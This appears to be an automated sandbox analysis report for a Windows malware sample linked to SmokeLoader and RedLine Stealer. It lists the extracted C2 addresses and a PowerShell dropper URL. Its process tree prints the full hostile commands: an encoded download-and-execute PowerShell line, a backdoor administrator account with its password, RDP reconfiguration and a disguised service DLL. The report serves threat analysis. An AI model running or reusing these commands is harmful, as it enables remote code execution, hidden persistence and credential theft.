Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    16/12/2021, 08:11

General

  • Target
    b06691c16c38df919e814bb555fbd34e.exe
  • Size 153KB
  • Sample211216-j3aaescbhm
  • SHA256 ca612bb8fd70332cd79b0dcf033e1432bfc27a7f1c11928dc0668c59dd67f230
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://rcacademy.at/upload/

  • http://e-lanpengeonline.com/upload/

  • http://vjcmvz.cn/upload/

  • http://galala.ru/upload/

  • http://witra.ru/upload/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • ww

C2
  • 45.9.20.168:46257

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b06691c16c38df919e814bb555fbd34e.exe
    "C:\Users\Admin\AppData\Local\Temp\b06691c16c38df919e814bb555fbd34e.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1020
  • C:\Users\Admin\AppData\Local\Temp\C01F.exe
    C:\Users\Admin\AppData\Local\Temp\C01F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1628
  • C:\Users\Admin\AppData\Local\Temp\7B33.exe
    C:\Users\Admin\AppData\Local\Temp\7B33.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\20kj1i5u\20kj1i5u.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FF3.tmp" "c:\Users\Admin\AppData\Local\Temp\20kj1i5u\CSC7243DF79F73445098352FACA81106BCE.TMP"
          4⤵
            PID:64
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agvgznm0\agvgznm0.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9561.tmp" "c:\Users\Admin\AppData\Local\Temp\agvgznm0\CSCD9673A63AD8B400BB88E262DC4B85FA.TMP"
            4⤵
              PID:700
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2088
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1984
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            3⤵
              PID:848
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              3⤵
              • Modifies registry key
              PID:1216
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              3⤵
                PID:2044
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1268
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:1052
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2888
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1200
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1628
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:3336
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:340
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:640
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2228
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          6⤵
                            PID:4056
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2968
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:832
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:2648
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc jw4v83jO /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1920
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc jw4v83jO /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4068
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc jw4v83jO /add
                        3⤵
                          PID:60
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3812
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1992
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          3⤵
                            PID:1500
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1548
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3124
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MHKKHUYI$ /ADD
                            3⤵
                              PID:3176
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2272
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            2⤵
                              PID:3420
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3148
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc jw4v83jO
                              1⤵
                                PID:1468
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc jw4v83jO
                                  2⤵
                                    PID:3972
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc jw4v83jO
                                      3⤵
                                        PID:1048
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C wmic path win32_VideoController get name
                                    1⤵
                                      PID:2040
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic path win32_VideoController get name
                                        2⤵
                                          PID:3052
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic CPU get NAME
                                        1⤵
                                          PID:592
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic CPU get NAME
                                            2⤵
                                            • Modifies data under HKEY_USERS
                                            PID:916
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          1⤵
                                            PID:1272
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              2⤵
                                                PID:3760
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  3⤵
                                                  • Blocklisted process makes network request
                                                  • Drops file in Program Files directory
                                                  • Drops file in Windows directory
                                                  • Modifies data under HKEY_USERS
                                                  PID:1516

                                            Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

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                                                  Downloads

                                                  memory/1020-116-0x0000000000860000-0x0000000000869000-memory.dmp

                                                  memory/1020-117-0x0000000000400000-0x0000000000818000-memory.dmp

                                                  memory/1020-115-0x0000000000030000-0x0000000000038000-memory.dmp

                                                  memory/1280-269-0x0000023D2B700000-0x0000023D2B702000-memory.dmp

                                                  memory/1280-270-0x0000023D2B703000-0x0000023D2B705000-memory.dmp

                                                  memory/1280-316-0x0000023D2B706000-0x0000023D2B708000-memory.dmp

                                                  memory/1516-503-0x000002BB8AC68000-0x000002BB8AC69000-memory.dmp

                                                  memory/1516-452-0x000002BB8AC66000-0x000002BB8AC68000-memory.dmp

                                                  memory/1516-443-0x000002BB8AC63000-0x000002BB8AC65000-memory.dmp

                                                  memory/1516-442-0x000002BB8AC60000-0x000002BB8AC62000-memory.dmp

                                                  memory/1628-130-0x0000000004C53000-0x0000000004C54000-memory.dmp

                                                  memory/1628-142-0x0000000006850000-0x0000000006851000-memory.dmp

                                                  memory/1628-128-0x0000000004B80000-0x0000000004BAD000-memory.dmp

                                                  memory/1628-129-0x0000000004C52000-0x0000000004C53000-memory.dmp

                                                  memory/1628-134-0x0000000005930000-0x0000000005931000-memory.dmp

                                                  memory/1628-126-0x0000000000400000-0x00000000004F1000-memory.dmp

                                                  memory/1628-131-0x0000000005160000-0x0000000005161000-memory.dmp

                                                  memory/1628-132-0x0000000005790000-0x0000000005791000-memory.dmp

                                                  memory/1628-125-0x0000000000500000-0x00000000005AE000-memory.dmp

                                                  memory/1628-124-0x0000000004C60000-0x0000000004C61000-memory.dmp

                                                  memory/1628-127-0x0000000004C50000-0x0000000004C51000-memory.dmp

                                                  memory/1628-141-0x0000000006680000-0x0000000006681000-memory.dmp

                                                  memory/1628-140-0x0000000006560000-0x0000000006561000-memory.dmp

                                                  memory/1628-123-0x0000000004B00000-0x0000000004B2E000-memory.dmp

                                                  memory/1628-139-0x0000000006360000-0x0000000006361000-memory.dmp

                                                  memory/1628-133-0x00000000057C0000-0x00000000057C1000-memory.dmp

                                                  memory/1628-135-0x0000000005970000-0x0000000005971000-memory.dmp

                                                  memory/1628-138-0x00000000062A0000-0x00000000062A1000-memory.dmp

                                                  memory/1628-137-0x0000000005C00000-0x0000000005C01000-memory.dmp

                                                  memory/1628-136-0x0000000004C54000-0x0000000004C56000-memory.dmp

                                                  memory/1792-180-0x000001C5C9D10000-0x000001C5C9D11000-memory.dmp

                                                  memory/1792-160-0x000001C5C72C0000-0x000001C5C72C2000-memory.dmp

                                                  memory/1792-191-0x000001C5C9E80000-0x000001C5C9E81000-memory.dmp

                                                  memory/1792-192-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-196-0x000001C5CA540000-0x000001C5CA541000-memory.dmp

                                                  memory/1792-197-0x000001C5CA8D0000-0x000001C5CA8D1000-memory.dmp

                                                  memory/1792-200-0x000001C5C72C8000-0x000001C5C72C9000-memory.dmp

                                                  memory/1792-205-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-206-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-153-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-154-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-155-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-156-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-157-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-166-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-158-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-159-0x000001C5C9D20000-0x000001C5C9D21000-memory.dmp

                                                  memory/1792-183-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-163-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-162-0x000001C5C72C3000-0x000001C5C72C5000-memory.dmp

                                                  memory/1792-161-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-165-0x000001C5C9ED0000-0x000001C5C9ED1000-memory.dmp

                                                  memory/1792-164-0x000001C5AD2D0000-0x000001C5AD2D2000-memory.dmp

                                                  memory/1792-181-0x000001C5C72C6000-0x000001C5C72C8000-memory.dmp

                                                  memory/1984-351-0x0000022346706000-0x0000022346708000-memory.dmp

                                                  memory/1984-352-0x0000022346708000-0x000002234670A000-memory.dmp

                                                  memory/1984-317-0x0000022346700000-0x0000022346702000-memory.dmp

                                                  memory/1984-318-0x0000022346703000-0x0000022346705000-memory.dmp

                                                  memory/2088-217-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-212-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-211-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-210-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-209-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-213-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-268-0x0000024632828000-0x000002463282A000-memory.dmp

                                                  memory/2088-215-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-208-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-242-0x0000024632826000-0x0000024632828000-memory.dmp

                                                  memory/2088-216-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-222-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-220-0x0000024632820000-0x0000024632822000-memory.dmp

                                                  memory/2088-218-0x0000024618860000-0x0000024618862000-memory.dmp

                                                  memory/2088-221-0x0000024632823000-0x0000024632825000-memory.dmp

                                                  memory/2236-150-0x0000021D7DA05000-0x0000021D7DA06000-memory.dmp

                                                  memory/2236-148-0x0000021D7DA00000-0x0000021D7DA02000-memory.dmp

                                                  memory/2236-146-0x0000021D7E420000-0x0000021D7E6EF000-memory.dmp

                                                  memory/2236-151-0x0000021D7DA06000-0x0000021D7DA07000-memory.dmp

                                                  memory/2236-149-0x0000021D7DA03000-0x0000021D7DA05000-memory.dmp

                                                  memory/3040-118-0x0000000001470000-0x0000000001486000-memory.dmp